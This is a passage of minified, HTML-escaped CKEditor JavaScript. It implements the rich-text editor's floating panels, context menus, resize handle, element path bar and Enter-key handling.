q?m&lt;c&amp;&amp;(d=h&gt;c?d+c:b.width&gt;c?d-a.left:d-a.right+b.width):m&lt;c&amp;&amp;(d=h&gt;c?d-c:b.width&gt;c?d-a.right+b.width:d-a.left);c=a.top;b.height-a.top&lt;e&amp;&amp;(p=c&gt;e?p-e:b.height&gt;e?p-a.bottom+b.height:p-a.top);CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge&amp;&amp;(b=a=new CKEDITOR.dom.element(l.$.offsetParent),&quot;html&quot;==b.getName()&amp;&amp;(b=b.getDocument().getBody()),&quot;rtl&quot;==b.getComputedStyle(&quot;direction&quot;)&amp;&amp;(d=CKEDITOR.env.ie8Compat?d-2*l.getDocument().getDocumentElement().$.scrollLeft:d-(a.$.scrollWidth-a.$.clientWidth)));var a=l.getFirst(),f;
(f=a.getCustomData(&quot;activePanel&quot;))&amp;&amp;f.onHide&amp;&amp;f.onHide.call(this,1);a.setCustomData(&quot;activePanel&quot;,this);l.setStyles({top:p+&quot;px&quot;,left:d+&quot;px&quot;});l.setOpacity(1);g&amp;&amp;g()},this);n.isLoaded?a():n.onLoad=a;CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.env.webkit&amp;&amp;CKEDITOR.document.getWindow().getScrollPosition().y;this.focus();k.element.focus();CKEDITOR.env.webkit&amp;&amp;(CKEDITOR.document.getBody().$.scrollTop=a);this.allowBlur(!0);this._.markFirst&amp;&amp;(CKEDITOR.env.ie?CKEDITOR.tools.setTimeout(function(){k.markFirstDisplayed?
k.markFirstDisplayed():k._.markFirstDisplayed()},0):k.markFirstDisplayed?k.markFirstDisplayed():k._.markFirstDisplayed());this._.editor.fire(&quot;panelShow&quot;,this)},0,this)},CKEDITOR.env.air?200:0,this);this.visible=1;this.onShow&amp;&amp;this.onShow.call(this)},reposition:function(){var a=this._.showBlockParams;this.visible&amp;&amp;this._.showBlockParams&amp;&amp;(this.hide(),this.showBlock.apply(this,a))},focus:function(){if(CKEDITOR.env.webkit){var a=CKEDITOR.document.getActive();a&amp;&amp;!a.equals(this._.iframe)&amp;&amp;a.$.blur()}(this._.lastFocused||
this._.iframe.getFrameDocument().getWindow()).focus()},blur:function(){var a=this._.iframe.getFrameDocument().getActive();a&amp;&amp;a.is(&quot;a&quot;)&amp;&amp;(this._.lastFocused=a)},hide:function(a){if(this.visible&amp;&amp;(!this.onHide||!0!==this.onHide.call(this))){this.hideChild();CKEDITOR.env.gecko&amp;&amp;this._.iframe.getFrameDocument().$.activeElement.blur();this.element.setStyle(&quot;display&quot;,&quot;none&quot;);this.visible=0;this.element.getFirst().removeCustomData(&quot;activePanel&quot;);if(a=a&amp;&amp;this._.returnFocus)CKEDITOR.env.webkit&amp;&amp;a.type&amp;&amp;a.getWindow().$.focus(),
a.focus();delete this._.lastFocused;this._.showBlockParams=null;this._.editor.fire(&quot;panelHide&quot;,this)}},allowBlur:function(a){var b=this._.panel;void 0!==a&amp;&amp;(b.allowBlur=a);return b.allowBlur},showAsChild:function(a,b,c,f,h,g){if(this._.activeChild!=a||a._.panel._.offsetParentId!=c.getId())this.hideChild(),a.onHide=CKEDITOR.tools.bind(function(){CKEDITOR.tools.setTimeout(function(){this._.focused||this.hide()},0,this)},this),this._.activeChild=a,this._.focused=!1,a.showBlock(b,c,f,h,g),this.blur(),
(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&amp;&amp;setTimeout(function(){a.element.getChild(0).$.style.cssText+=&quot;&quot;},100)},hideChild:function(a){var b=this._.activeChild;b&amp;&amp;(delete b.onHide,delete this._.activeChild,b.hide(),a&amp;&amp;this.focus())}}});CKEDITOR.on(&quot;instanceDestroyed&quot;,function(){var a=CKEDITOR.tools.isEmpty(CKEDITOR.instances),b;for(b in f){var c=f[b];a?c.destroy():c.element.hide()}a&amp;&amp;(f={})})})();CKEDITOR.plugins.add(&quot;menu&quot;,{requires:&quot;floatpanel&quot;,beforeInit:function(l){for(var h=l.config.menu_groups.split(&quot;,&quot;),r=l._.menuGroups={},t=l._.menuItems={},n=0;n&lt;h.length;n++)r[h[n]]=n+1;l.addMenuGroup=function(a,b){r[a]=b||100};l.addMenuItem=function(a,b){r[b.group]&amp;&amp;(t[a]=new CKEDITOR.menuItem(this,a,b))};l.addMenuItems=function(a){for(var b in a)this.addMenuItem(b,a[b])};l.getMenuItem=function(a){return t[a]};l.removeMenuItem=function(a){delete t[a]}}});
(function(){function l(a){a.sort(function(a,d){return a.group&lt;d.group?-1:a.group&gt;d.group?1:a.order&lt;d.order?-1:a.order&gt;d.order?1:0})}var h=&#039;\x3cspan class\x3d&quot;cke_menuitem&quot;\x3e\x3ca id\x3d&quot;{id}&quot; class\x3d&quot;cke_menubutton cke_menubutton__{name} cke_menubutton_{state} {cls}&quot; href\x3d&quot;{href}&quot; title\x3d&quot;{title}&quot; tabindex\x3d&quot;-1&quot; _cke_focus\x3d1 hidefocus\x3d&quot;true&quot; role\x3d&quot;{role}&quot; aria-label\x3d&quot;{label}&quot; aria-describedby\x3d&quot;{id}_description&quot; aria-haspopup\x3d&quot;{hasPopup}&quot; aria-disabled\x3d&quot;{disabled}&quot; {ariaChecked} draggable\x3d&quot;false&quot;&#039;;
CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(h+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);CKEDITOR.env.gecko&amp;&amp;(h+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot; ondragstart\x3d&quot;return false;&quot;&#039;);var h=h+(&#039; onmouseover\x3d&quot;CKEDITOR.tools.callFunction({hoverFn},{index});&quot; onmouseout\x3d&quot;CKEDITOR.tools.callFunction({moveOutFn},{index});&quot; &#039;+(CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;)+&#039;\x3d&quot;CKEDITOR.tools.callFunction({clickFn},{index}); return false;&quot;\x3e&#039;),r=CKEDITOR.addTemplate(&quot;menuItem&quot;,
h+&#039;\x3cspan class\x3d&quot;cke_menubutton_inner&quot;\x3e\x3cspan class\x3d&quot;cke_menubutton_icon&quot;\x3e\x3cspan class\x3d&quot;cke_button_icon cke_button__{iconName}_icon&quot; style\x3d&quot;{iconStyle}&quot;\x3e\x3c/span\x3e\x3c/span\x3e\x3cspan class\x3d&quot;cke_menubutton_label&quot;\x3e{label}\x3c/span\x3e{shortcutHtml}{arrowHtml}\x3c/span\x3e\x3c/a\x3e\x3cspan id\x3d&quot;{id}_description&quot; class\x3d&quot;cke_voice_label&quot; aria-hidden\x3d&quot;false&quot;\x3e{ariaShortcut}\x3c/span\x3e\x3c/span\x3e&#039;),t=CKEDITOR.addTemplate(&quot;menuArrow&quot;,&#039;\x3cspan class\x3d&quot;cke_menuarrow&quot;\x3e\x3cspan\x3e{label}\x3c/span\x3e\x3c/span\x3e&#039;),
n=CKEDITOR.addTemplate(&quot;menuShortcut&quot;,&#039;\x3cspan class\x3d&quot;cke_menubutton_label cke_menubutton_shortcut&quot;\x3e{shortcut}\x3c/span\x3e&#039;);CKEDITOR.menu=CKEDITOR.tools.createClass({$:function(a,b){b=this._.definition=b||{};this.id=CKEDITOR.tools.getNextId();this.editor=a;this.items=[];this._.listeners=[];this._.level=b.level||1;var d=CKEDITOR.tools.extend({},b.panel,{css:[CKEDITOR.skin.getPath(&quot;editor&quot;)],level:this._.level-1,block:{}}),m=d.block.attributes=d.attributes||{};!m.role&amp;&amp;(m.role=&quot;menu&quot;);this._.panelDefinition=
d},_:{onShow:function(){var a=this.editor.getSelection(),b=a&amp;&amp;a.getStartElement(),d=this.editor.elementPath(),m=this._.listeners;this.removeAll();for(var g=0;g&lt;m.length;g++){var k=m[g](b,a,d);if(k)for(var e in k){var f=this.editor.getMenuItem(e);!f||f.command&amp;&amp;!this.editor.getCommand(f.command).state||(f.state=k[e],this.add(f))}}},onClick:function(a){this.hide();if(a.onClick)a.onClick();else a.command&amp;&amp;this.editor.execCommand(a.command)},onEscape:function(a){var b=this.parent;b?b._.panel.hideChild(1):
27==a&amp;&amp;this.hide(1);return!1},onHide:function(){this.onHide&amp;&amp;this.onHide()},showSubMenu:function(a){var b=this._.subMenu,d=this.items[a];if(d=d.getItems&amp;&amp;d.getItems()){b?b.removeAll():(b=this._.subMenu=new CKEDITOR.menu(this.editor,CKEDITOR.tools.extend({},this._.definition,{level:this._.level+1},!0)),b.parent=this,b._.onClick=CKEDITOR.tools.bind(this._.onClick,this));for(var m in d){var g=this.editor.getMenuItem(m);g&amp;&amp;(g.state=d[m],b.add(g))}var k=this._.panel.getBlock(this.id).element.getDocument().getById(this.id+
String(a));setTimeout(function(){b.show(k,2)},0)}else this._.panel.hideChild(1)}},proto:{add:function(a){a.order||(a.order=this.items.length);this.items.push(a)},removeAll:function(){this.items=[]},show:function(a,b,d,m){if(!this.parent&amp;&amp;(this._.onShow(),!this.items.length))return;b=b||(&quot;rtl&quot;==this.editor.lang.dir?2:1);var g=this.items,k=this.editor,e=this._.panel,f=this._.element;if(!e){e=this._.panel=new CKEDITOR.ui.floatPanel(this.editor,CKEDITOR.document.getBody(),this._.panelDefinition,this._.level);
e.onEscape=CKEDITOR.tools.bind(function(a){if(!1===this._.onEscape(a))return!1},this);e.onShow=function(){e._.panel.getHolderElement().getParent().addClass(&quot;cke&quot;).addClass(&quot;cke_reset_all&quot;)};e.onHide=CKEDITOR.tools.bind(function(){this._.onHide&amp;&amp;this._.onHide()},this);f=e.addBlock(this.id,this._.panelDefinition.block);f.autoSize=!0;var c=f.keys;c[40]=&quot;next&quot;;c[9]=&quot;next&quot;;c[38]=&quot;prev&quot;;c[CKEDITOR.SHIFT+9]=&quot;prev&quot;;c[&quot;rtl&quot;==k.lang.dir?37:39]=CKEDITOR.env.ie?&quot;mouseup&quot;:&quot;click&quot;;c[32]=CKEDITOR.env.ie?&quot;mouseup&quot;:
&quot;click&quot;;CKEDITOR.env.ie&amp;&amp;(c[13]=&quot;mouseup&quot;);f=this._.element=f.element;c=f.getDocument();c.getBody().setStyle(&quot;overflow&quot;,&quot;hidden&quot;);c.getElementsByTag(&quot;html&quot;).getItem(0).setStyle(&quot;overflow&quot;,&quot;hidden&quot;);this._.itemOverFn=CKEDITOR.tools.addFunction(function(a){clearTimeout(this._.showSubTimeout);this._.showSubTimeout=CKEDITOR.tools.setTimeout(this._.showSubMenu,k.config.menu_subMenuDelay||400,this,[a])},this);this._.itemOutFn=CKEDITOR.tools.addFunction(function(){clearTimeout(this._.showSubTimeout)},this);
this._.itemClickFn=CKEDITOR.tools.addFunction(function(a){var b=this.items[a];if(b.state==CKEDITOR.TRISTATE_DISABLED)this.hide(1);else if(b.getItems)this._.showSubMenu(a);else this._.onClick(b)},this)}l(g);for(var c=k.elementPath(),c=[&#039;\x3cdiv class\x3d&quot;cke_menu&#039;+(c&amp;&amp;c.direction()!=k.lang.dir?&quot; cke_mixed_dir_content&quot;:&quot;&quot;)+&#039;&quot; role\x3d&quot;presentation&quot;\x3e&#039;],h=g.length,n=h&amp;&amp;g[0].group,q=0;q&lt;h;q++){var p=g[q];n!=p.group&amp;&amp;(c.push(&#039;\x3cdiv class\x3d&quot;cke_menuseparator&quot; role\x3d&quot;separator&quot;\x3e\x3c/div\x3e&#039;),
n=p.group);p.render(this,q,c)}c.push(&quot;\x3c/div\x3e&quot;);f.setHtml(c.join(&quot;&quot;));CKEDITOR.ui.fire(&quot;ready&quot;,this);this.parent?this.parent._.panel.showAsChild(e,this.id,a,b,d,m):e.showBlock(this.id,a,b,d,m);k.fire(&quot;menuShow&quot;,[e])},addListener:function(a){this._.listeners.push(a)},hide:function(a){this._.onHide&amp;&amp;this._.onHide();this._.panel&amp;&amp;this._.panel.hide(a)},findItemByCommandName:function(a){var b=CKEDITOR.tools.array.filter(this.items,function(b){return a===b.command});return b.length?(b=b[0],{item:b,
element:this._.element.findOne(&quot;.&quot;+b.className)}):null}}});CKEDITOR.menuItem=CKEDITOR.tools.createClass({$:function(a,b,d){CKEDITOR.tools.extend(this,d,{order:0,className:&quot;cke_menubutton__&quot;+b});this.group=a._.menuGroups[this.group];this.editor=a;this.name=b},proto:{render:function(a,b,d){var h=a.id+String(b),g=&quot;undefined&quot;==typeof this.state?CKEDITOR.TRISTATE_OFF:this.state,k=&quot;&quot;,e=this.editor,f,c,l=g==CKEDITOR.TRISTATE_ON?&quot;on&quot;:g==CKEDITOR.TRISTATE_DISABLED?&quot;disabled&quot;:&quot;off&quot;;this.role in{menuitemcheckbox:1,
menuitemradio:1}&amp;&amp;(k=&#039; aria-checked\x3d&quot;&#039;+(g==CKEDITOR.TRISTATE_ON?&quot;true&quot;:&quot;false&quot;)+&#039;&quot;&#039;);var u=this.getItems,q=&quot;\x26#&quot;+(&quot;rtl&quot;==this.editor.lang.dir?&quot;9668&quot;:&quot;9658&quot;)+&quot;;&quot;,p=this.name;this.icon&amp;&amp;!/\./.test(this.icon)&amp;&amp;(p=this.icon);this.command&amp;&amp;(f=e.getCommand(this.command),(f=e.getCommandKeystroke(f))&amp;&amp;(c=CKEDITOR.tools.keystrokeToString(e.lang.common.keyboard,f)));a={id:h,name:this.name,iconName:p,label:this.label,cls:this.className||&quot;&quot;,state:l,hasPopup:u?&quot;true&quot;:&quot;false&quot;,disabled:g==CKEDITOR.TRISTATE_DISABLED,
title:this.label+(c?&quot; (&quot;+c.display+&quot;)&quot;:&quot;&quot;),ariaShortcut:c?e.lang.common.keyboardShortcut+&quot; &quot;+c.aria:&quot;&quot;,href:&quot;javascript:void(&#039;&quot;+(this.label||&quot;&quot;).replace(&quot;&#039;&quot;)+&quot;&#039;)&quot;,hoverFn:a._.itemOverFn,moveOutFn:a._.itemOutFn,clickFn:a._.itemClickFn,index:b,iconStyle:CKEDITOR.skin.getIconStyle(p,&quot;rtl&quot;==this.editor.lang.dir,p==this.icon?null:this.icon,this.iconOffset),shortcutHtml:c?n.output({shortcut:c.display}):&quot;&quot;,arrowHtml:u?t.output({label:q}):&quot;&quot;,role:this.role?this.role:&quot;menuitem&quot;,ariaChecked:k};r.output(a,d)}}})})();
CKEDITOR.config.menu_groups=&quot;clipboard,form,tablecell,tablecellproperties,tablerow,tablecolumn,table,anchor,link,image,flash,checkbox,radio,textfield,hiddenfield,imagebutton,button,select,textarea,div&quot;;CKEDITOR.plugins.add(&quot;contextmenu&quot;,{requires:&quot;menu&quot;,onLoad:function(){CKEDITOR.plugins.contextMenu=CKEDITOR.tools.createClass({base:CKEDITOR.menu,$:function(a){this.base.call(this,a,{panel:{css:a.config.contextmenu_contentsCss,className:&quot;cke_menu_panel&quot;,attributes:{&quot;aria-label&quot;:a.lang.contextmenu.options}}})},proto:{addTarget:function(a,f){function c(){e=!1}var d,e;a.on(&quot;contextmenu&quot;,function(a){a=a.data;var b=CKEDITOR.env.webkit?d:CKEDITOR.env.mac?a.$.metaKey:a.$.ctrlKey;if(!f||!b)if(a.preventDefault(),
!e){if(CKEDITOR.env.mac&amp;&amp;CKEDITOR.env.webkit){var b=this.editor,c=(new CKEDITOR.dom.elementPath(a.getTarget(),b.editable())).contains(function(a){return a.hasAttribute(&quot;contenteditable&quot;)},!0);c&amp;&amp;&quot;false&quot;==c.getAttribute(&quot;contenteditable&quot;)&amp;&amp;b.getSelection().fake(c)}var c=a.getTarget().getDocument(),g=a.getTarget().getDocument().getDocumentElement(),b=!c.equals(CKEDITOR.document),c=c.getWindow().getScrollPosition(),h=b?a.$.clientX:a.$.pageX||c.x+a.$.clientX,k=b?a.$.clientY:a.$.pageY||c.y+a.$.clientY;
CKEDITOR.tools.setTimeout(function(){this.open(g,null,h,k)},CKEDITOR.env.ie?200:0,this)}},this);if(CKEDITOR.env.webkit){var b=function(){d=0};a.on(&quot;keydown&quot;,function(a){d=CKEDITOR.env.mac?a.data.$.metaKey:a.data.$.ctrlKey});a.on(&quot;keyup&quot;,b);a.on(&quot;contextmenu&quot;,b)}CKEDITOR.env.gecko&amp;&amp;!CKEDITOR.env.mac&amp;&amp;(a.on(&quot;keydown&quot;,function(a){a.data.$.shiftKey&amp;&amp;121===a.data.$.keyCode&amp;&amp;(e=!0)},null,null,0),a.on(&quot;keyup&quot;,c),a.on(&quot;contextmenu&quot;,c))},open:function(a,f,c,d){!1!==this.editor.config.enableContextMenu&amp;&amp;this.editor.getSelection().getType()!==
CKEDITOR.SELECTION_NONE&amp;&amp;(this.editor.focus(),a=a||CKEDITOR.document.getDocumentElement(),this.editor.selectionChange(1),this.show(a,f,c,d))}}})},beforeInit:function(a){var f=a.contextMenu=new CKEDITOR.plugins.contextMenu(a);a.on(&quot;contentDom&quot;,function(){f.addTarget(a.editable(),!1!==a.config.browserContextMenuOnCtrl)});a.addCommand(&quot;contextMenu&quot;,{exec:function(a){var d=0,e=0,b=a.getSelection().getRanges(),b=b[b.length-1].getClientRects(a.editable().isInline());if(b=b[b.length-1])d=b[&quot;rtl&quot;===a.lang.dir?
&quot;left&quot;:&quot;right&quot;],e=b.bottom;a.contextMenu.open(a.document.getBody().getParent(),null,d,e)}});a.setKeystroke(CKEDITOR.SHIFT+121,&quot;contextMenu&quot;);a.setKeystroke(CKEDITOR.CTRL+CKEDITOR.SHIFT+121,&quot;contextMenu&quot;)}});CKEDITOR.plugins.add(&quot;resize&quot;,{init:function(b){function f(d){var e=c.width,m=c.height,f=e+(d.data.$.screenX-n.x)*(&quot;rtl&quot;==g?-1:1);d=m+(d.data.$.screenY-n.y);h&amp;&amp;(e=Math.max(a.resize_minWidth,Math.min(f,a.resize_maxWidth)));p&amp;&amp;(m=Math.max(a.resize_minHeight,Math.min(d,a.resize_maxHeight)));b.resize(h?e:null,m)}function k(){CKEDITOR.document.removeListener(&quot;mousemove&quot;,f);CKEDITOR.document.removeListener(&quot;mouseup&quot;,k);b.document&amp;&amp;(b.document.removeListener(&quot;mousemove&quot;,f),b.document.removeListener(&quot;mouseup&quot;,
k))}var a=b.config,r=b.ui.spaceId(&quot;resizer&quot;),g=b.element?b.element.getDirection(1):&quot;ltr&quot;;!a.resize_dir&amp;&amp;(a.resize_dir=&quot;vertical&quot;);void 0===a.resize_maxWidth&amp;&amp;(a.resize_maxWidth=3E3);void 0===a.resize_maxHeight&amp;&amp;(a.resize_maxHeight=3E3);void 0===a.resize_minWidth&amp;&amp;(a.resize_minWidth=750);void 0===a.resize_minHeight&amp;&amp;(a.resize_minHeight=250);if(!1!==a.resize_enabled){var l=null,n,c,h=(&quot;both&quot;==a.resize_dir||&quot;horizontal&quot;==a.resize_dir)&amp;&amp;a.resize_minWidth!=a.resize_maxWidth,p=(&quot;both&quot;==a.resize_dir||&quot;vertical&quot;==
a.resize_dir)&amp;&amp;a.resize_minHeight!=a.resize_maxHeight,q=CKEDITOR.tools.addFunction(function(d){l||(l=b.getResizable());c={width:l.$.offsetWidth||0,height:l.$.offsetHeight||0};n={x:d.screenX,y:d.screenY};a.resize_minWidth&gt;c.width&amp;&amp;(a.resize_minWidth=c.width);a.resize_minHeight&gt;c.height&amp;&amp;(a.resize_minHeight=c.height);CKEDITOR.document.on(&quot;mousemove&quot;,f);CKEDITOR.document.on(&quot;mouseup&quot;,k);b.document&amp;&amp;(b.document.on(&quot;mousemove&quot;,f),b.document.on(&quot;mouseup&quot;,k));d.preventDefault&amp;&amp;d.preventDefault()});b.on(&quot;destroy&quot;,
function(){CKEDITOR.tools.removeFunction(q)});b.on(&quot;uiSpace&quot;,function(a){if(&quot;bottom&quot;==a.data.space){var e=&quot;&quot;;h&amp;&amp;!p&amp;&amp;(e=&quot; cke_resizer_horizontal&quot;);!h&amp;&amp;p&amp;&amp;(e=&quot; cke_resizer_vertical&quot;);var c=&#039;\x3cspan id\x3d&quot;&#039;+r+&#039;&quot; class\x3d&quot;cke_resizer&#039;+e+&quot; cke_resizer_&quot;+g+&#039;&quot; title\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(b.lang.common.resize)+&#039;&quot; onmousedown\x3d&quot;CKEDITOR.tools.callFunction(&#039;+q+&#039;, event)&quot;\x3e&#039;+(&quot;ltr&quot;==g?&quot;◢&quot;:&quot;◣&quot;)+&quot;\x3c/span\x3e&quot;;&quot;ltr&quot;==g&amp;&amp;&quot;ltr&quot;==e?a.data.html+=c:a.data.html=c+a.data.html}},b,null,100);b.on(&quot;maximize&quot;,
function(a){b.ui.space(&quot;resizer&quot;)[a.data==CKEDITOR.TRISTATE_ON?&quot;hide&quot;:&quot;show&quot;]()})}}});(function(){function q(a,c){function k(b){b=h.list[b];var e;b.equals(a.editable())||&quot;true&quot;==b.getAttribute(&quot;contenteditable&quot;)?(e=a.createRange(),e.selectNodeContents(b),e=e.select()):(e=a.getSelection(),e.selectElement(b));CKEDITOR.env.ie&amp;&amp;a.fire(&quot;selectionChange&quot;,{selection:e,path:new CKEDITOR.dom.elementPath(b)});a.focus()}function l(){m&amp;&amp;m.setHtml(&#039;\x3cspan class\x3d&quot;cke_path_empty&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;);delete h.list}var n=a.ui.spaceId(&quot;path&quot;),m,h=a._.elementsPath,q=h.idBase;c.html+=&#039;\x3cspan id\x3d&quot;&#039;+
n+&#039;_label&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;+a.lang.elementspath.eleLabel+&#039;\x3c/span\x3e\x3cspan id\x3d&quot;&#039;+n+&#039;&quot; class\x3d&quot;cke_path&quot; role\x3d&quot;group&quot; aria-labelledby\x3d&quot;&#039;+n+&#039;_label&quot;\x3e\x3cspan class\x3d&quot;cke_path_empty&quot;\x3e\x26nbsp;\x3c/span\x3e\x3c/span\x3e&#039;;a.on(&quot;uiReady&quot;,function(){var b=a.ui.space(&quot;path&quot;);b&amp;&amp;a.focusManager.add(b,1)});h.onClick=k;var v=CKEDITOR.tools.addFunction(k),w=CKEDITOR.tools.addFunction(function(b,e){var g=h.idBase,d;e=new CKEDITOR.dom.event(e);d=&quot;rtl&quot;==a.lang.dir;switch(e.getKeystroke()){case d?
39:37:case 9:return(d=CKEDITOR.document.getById(g+(b+1)))||(d=CKEDITOR.document.getById(g+&quot;0&quot;)),d.focus(),!1;case d?37:39:case CKEDITOR.SHIFT+9:return(d=CKEDITOR.document.getById(g+(b-1)))||(d=CKEDITOR.document.getById(g+(h.list.length-1))),d.focus(),!1;case 27:return a.focus(),!1;case 13:case 32:return k(b),!1}return!0});a.on(&quot;selectionChange&quot;,function(b){for(var e=[],g=h.list=[],d=[],c=h.filters,p=!0,k=b.data.path.elements,u=k.length;u--;){var f=k[u],r=0;b=f.data(&quot;cke-display-name&quot;)?f.data(&quot;cke-display-name&quot;):
f.data(&quot;cke-real-element-type&quot;)?f.data(&quot;cke-real-element-type&quot;):f.getName();(p=f.hasAttribute(&quot;contenteditable&quot;)?&quot;true&quot;==f.getAttribute(&quot;contenteditable&quot;):p)||f.hasAttribute(&quot;contenteditable&quot;)||(r=1);for(var t=0;t&lt;c.length;t++){var l=c[t](f,b);if(!1===l){r=1;break}b=l||b}r||(g.unshift(f),d.unshift(b))}g=g.length;for(c=0;c&lt;g;c++)b=d[c],p=a.lang.elementspath.eleTitle.replace(/%1/,b),b=x.output({id:q+c,label:p,text:b,jsTitle:&quot;javascript:void(&#039;&quot;+b+&quot;&#039;)&quot;,index:c,keyDownFn:w,clickFn:v}),e.unshift(b);m||
(m=CKEDITOR.document.getById(n));d=m;d.setHtml(e.join(&quot;&quot;)+&#039;\x3cspan class\x3d&quot;cke_path_empty&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;);a.fire(&quot;elementsPathUpdate&quot;,{space:d})});a.on(&quot;readOnly&quot;,l);a.on(&quot;contentDomUnload&quot;,l);a.addCommand(&quot;elementsPathFocus&quot;,y.toolbarFocus);a.setKeystroke(CKEDITOR.ALT+122,&quot;elementsPathFocus&quot;)}var y={toolbarFocus:{editorFocus:!1,readOnly:1,exec:function(a){(a=CKEDITOR.document.getById(a._.elementsPath.idBase+&quot;0&quot;))&amp;&amp;a.focus(CKEDITOR.env.ie||CKEDITOR.env.air)}}},c=&quot;&quot;;CKEDITOR.env.gecko&amp;&amp;
CKEDITOR.env.mac&amp;&amp;(c+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);CKEDITOR.env.gecko&amp;&amp;(c+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var x=CKEDITOR.addTemplate(&quot;pathItem&quot;,&#039;\x3ca id\x3d&quot;{id}&quot; href\x3d&quot;{jsTitle}&quot; tabindex\x3d&quot;-1&quot; class\x3d&quot;cke_path_item&quot; title\x3d&quot;{label}&quot;&#039;+c+&#039; hidefocus\x3d&quot;true&quot;  onkeydown\x3d&quot;return CKEDITOR.tools.callFunction({keyDownFn},{index}, event );&quot; onclick\x3d&quot;CKEDITOR.tools.callFunction({clickFn},{index}); return false;&quot; role\x3d&quot;button&quot; aria-label\x3d&quot;{label}&quot;\x3e{text}\x3c/a\x3e&#039;);
CKEDITOR.plugins.add(&quot;elementspath&quot;,{init:function(a){a._.elementsPath={idBase:&quot;cke_elementspath_&quot;+CKEDITOR.tools.getNextNumber()+&quot;_&quot;,filters:[]};a.on(&quot;uiSpace&quot;,function(c){&quot;bottom&quot;==c.data.space&amp;&amp;q(a,c.data)})}})})();(function(){function x(a,e,b){b=a.config.forceEnterMode||b;if(&quot;wysiwyg&quot;==a.mode){e||(e=a.activeEnterMode);var l=a.elementPath();l&amp;&amp;!l.isContextFor(&quot;p&quot;)&amp;&amp;(e=CKEDITOR.ENTER_BR,b=1);a.fire(&quot;saveSnapshot&quot;);e==CKEDITOR.ENTER_BR?u(a,e,null,b):r(a,e,null,b);a.fire(&quot;saveSnapshot&quot;)}}function y(a){a=a.getSelection().getRanges(!0);for(var e=a.length-1;0&lt;e;e--)a[e].deleteContents();return a[0]}function z(a){var e=a.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;)},
!0);if(a.root.equals(e))return a;e=new CKEDITOR.dom.range(e);e.moveToRange(a);return e}CKEDITOR.plugins.add(&quot;enterkey&quot;,{init:function(a){a.addCommand(&quot;enter&quot;,{modes:{wysiwyg:1},editorFocus:!1,exec:function(a){x(a)}});a.addCommand(&quot;shiftEnter&quot;,{modes:{wysiwyg:1},editorFocus:!1,exec:function(a){x(a,a.activeShiftEnterMode,1)}});a.setKeystroke([[13,&quot;enter&quot;],[CKEDITOR.SHIFT+13,&quot;shiftEnter&quot;]])}});var A=CKEDITOR.dom.walker.whitespaces(),B=CKEDITOR.dom.walker.bookmark(),v,u,r,w;CKEDITOR.plugins.enterkey=
{enterBlock:function(a,e,b,l){function n(a){var b;if(a===CKEDITOR.ENTER_BR||-1===CKEDITOR.tools.indexOf([&quot;td&quot;,&quot;th&quot;],p.lastElement.getName())||1!==p.lastElement.getChildCount())return!1;a=p.lastElement.getChild(0).clone(!0);(b=a.getBogus())&amp;&amp;b.remove();return a.getText().length?!1:!0}if(b=b||y(a)){b=z(b);var g=b.document,f=b.checkStartOfBlock(),k=b.checkEndOfBlock(),p=a.elementPath(b.startContainer),c=p.block,m=e==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;,d;if(c&amp;&amp;f&amp;&amp;k){f=c.getParent();if(f.is(&quot;li&quot;)&amp;&amp;1&lt;f.getChildCount()){g=
new CKEDITOR.dom.element(&quot;li&quot;);d=a.createRange();g.insertAfter(f);c.remove();d.setStart(g,0);a.getSelection().selectRanges([d]);return}if(c.is(&quot;li&quot;)||c.getParent().is(&quot;li&quot;)){c.is(&quot;li&quot;)||(c=c.getParent(),f=c.getParent());d=f.getParent();b=!c.hasPrevious();var h=!c.hasNext();l=a.getSelection();var m=l.createBookmarks(),t=c.getDirection(1),k=c.getAttribute(&quot;class&quot;),q=c.getAttribute(&quot;style&quot;),r=d.getDirection(1)!=t;a=a.enterMode!=CKEDITOR.ENTER_BR||r||q||k;if(d.is(&quot;li&quot;))b||h?(b&amp;&amp;h&amp;&amp;f.remove(),c[h?&quot;insertAfter&quot;:
&quot;insertBefore&quot;](d)):c.breakParent(d);else{if(a)if(p.block.is(&quot;li&quot;)?(d=g.createElement(e==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;),r&amp;&amp;d.setAttribute(&quot;dir&quot;,t),q&amp;&amp;d.setAttribute(&quot;style&quot;,q),k&amp;&amp;d.setAttribute(&quot;class&quot;,k),c.moveChildren(d)):d=p.block,b||h)d[b?&quot;insertBefore&quot;:&quot;insertAfter&quot;](f);else c.breakParent(f),d.insertAfter(f);else if(c.appendBogus(!0),b||h)for(;g=c[b?&quot;getFirst&quot;:&quot;getLast&quot;]();)g[b?&quot;insertBefore&quot;:&quot;insertAfter&quot;](f);else for(c.breakParent(f);g=c.getLast();)g.insertAfter(f);c.remove()}l.selectBookmarks(m);
return}if(c&amp;&amp;c.getParent().is(&quot;blockquote&quot;)){c.breakParent(c.getParent());c.getPrevious().getFirst(CKEDITOR.dom.walker.invisible(1))||c.getPrevious().remove();c.getNext().getFirst(CKEDITOR.dom.walker.invisible(1))||c.getNext().remove();b.moveToElementEditStart(c);b.select();return}}else if(c&amp;&amp;c.is(&quot;pre&quot;)&amp;&amp;!k){u(a,e,b,l);return}if(q=b.splitBlock(m)){a=q.previousBlock;c=q.nextBlock;f=q.wasStartOfBlock;k=q.wasEndOfBlock;c?(h=c.getParent(),h.is(&quot;li&quot;)&amp;&amp;(c.breakParent(h),c.move(c.getNext(),1))):a&amp;&amp;(h=a.getParent())&amp;&amp;
